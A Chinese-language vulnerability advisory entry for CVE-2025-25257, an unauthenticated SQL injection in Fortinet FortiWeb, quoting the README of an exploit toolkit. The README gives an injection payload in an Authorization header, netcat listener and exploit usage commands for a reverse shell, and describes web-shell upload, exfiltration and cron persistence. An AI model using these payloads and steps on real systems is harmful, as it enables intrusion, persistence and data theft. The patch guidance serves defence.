Fortinet FortiWeb Remote Code Execution Vulnerability
漏洞信息
漏洞名称: Fortinet FortiWeb Remote Code Execution Vulnerability
漏洞编号:
- CVE: CVE-2025-25257
漏洞类型: SQL注入
漏洞等级: 严重
漏洞描述: Fortinet FortiWeb是一款广泛使用的Web应用防火墙(WAF),旨在保护Web应用免受各种网络攻击,如SQL注入、跨站脚本(XSS)等。它通常部署在企业环境中,用于保护关键Web应用和服务。由于其广泛的应用,FortiWeb的安全性对许多组织至关重要。
该漏洞(CVE-2025-25257)是一个未经身份验证的SQL注入漏洞,可导致远程代码执行(RCE)。漏洞的技术根源在于FortiWeb的某些版本中存在输入验证不足的问题,攻击者可以通过构造恶意的SQL查询来绕过身份验证,进而在目标系统上执行任意代码。这种类型的漏洞通常由于应用程序未能正确过滤用户提供的输入而引发。
此漏洞的影响极为严重,因为它允许攻击者在无需任何身份验证的情况下远程执行代码。这意味着攻击者可以完全控制受影响的系统,执行诸如数据泄露、服务中断、安装恶意软件等恶意活动。由于漏洞的利用不需要用户交互,因此可以自动化利用,大大增加了其危险性。Fortinet已发布安全更新,建议所有使用受影响版本的用户立即升级到修复版本(7.0.11+, 7.2.11+, 7.4.8+, 或 7.6.4+)以防范潜在的攻击。
产品厂商: Fortinet
产品名称: FortiWeb
影响版本: 7.0.0–7.0.10, 7.2.0–7.2.10, 7.4.0–7.4.7, 7.6.0–7.6.3
来源: https://github.com/secwatch92/fortiweb_rce_toolkit
类型: CVE-2025:github search
仓库文件
- LICENSE
- README.md
- exploit.py
来源概述
FortiWeb RCE Toolkit 🔐
Automated proof‑of‑concept tool for CVE‑2025‑25257 in Fortinet FortiWeb — featuring reverse shell, encrypted data exfiltration, persistence, and cleanup. This toolkit is strictly for isolated lab/testing environments. DO NOT USE in production.
⚙️ Features
- ✔️ Pre‑auth detection of vulnerable FortiWeb versions (7.0.0–7.0.10, 7.2.0–7.2.10, 7.4.0–7.4.7, 7.6.0–7.6.3)
- 🐚 Reverse shell (bash) via
/cgi-bin/shell.sh
- 📤 Encrypted data exfiltration to
/tmp/exfil.txt
(Base64‑encoded) - 🕒 Persistence via cron job (
/etc/cron.d/sys
) - 🧹 Full cleanup: removes shell, cron job, and SQL traces
- 🔒 Active only while listener runs and cleanup occurs
📊 Severity & Affected Versions
- CVE‑2025‑25257: Unauthenticated SQL injection → Remote Code Execution (RCE)
- CVSS v3.1: 9.6 (Critical)
- Vulnerable versions:
- FortiWeb 7.0.0–7.0.10 → Upgrade to 7.0.11+
- FortiWeb 7.2.0–7.2.10 → Upgrade to 7.2.11+
- FortiWeb 7.4.0–7.4.7 → Upgrade to 7.4.8+
- FortiWeb 7.6.0–7.6.3 → Upgrade to 7.6.4+
📋 Requirements
- Python 3.6+
- Install
requests
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17pip install requests
### 🚀 Usage
```bash
git clone https://github.com/youruser/fortiweb_rce_toolkit.git
cd fortiweb_rce_toolkit
## Start listener
nc -lnvp 4444
## Run exploit
python3 exploit.py <target> --https --lhost <your_ip> --lport 4444 \
[--exfil "user(),version()"] [--persist]
## After shell exits, press ENTER to cleanup
--https
if target uses HTTPS--lhost
&--lport
must match listener settings--exfil
(optional): SQL expression to exfiltrate--persist
(optional): enables cron persistence
🔧 Technical Workflow
Detection via injection (
Authorization: Bearer AAAAAA'or'1'='1
)Upload shell using
SELECT INTO OUTFILE
Optionally exfiltrate data to
/tmp/exfil.txt
Optionally set cron persistence
Reverse shell execution
Cleanup: shell removal, cron job deletion, SQL cleanup
⚠️ Warnings & Ethics
⚠️ Use only in lab environments
⚠️ Illegal/unethical on production
🚨 Patch FortiWeb to 7.0.11+, 7.2.11+, 7.4.8+, or 7.6.4+
🛡️ Consider disabling HTTP/HTTPS management until patched
🛠️ Future Enhancements
TLS‑encrypted reverse shell
Encrypted exfil (SCP, S3)
Automated C2 communication
Integration with Red Team frameworks (Cobalt Strike, Covenant)
📚 References
Fortinet FortiGuard PSIRT
BleepingComputer, TheHackerNews, SecurityOnline
EventusSecurity, InfoSecBulletin, Arctic Wolf, Tenable
📄 License
MIT License © 2025 secwatch92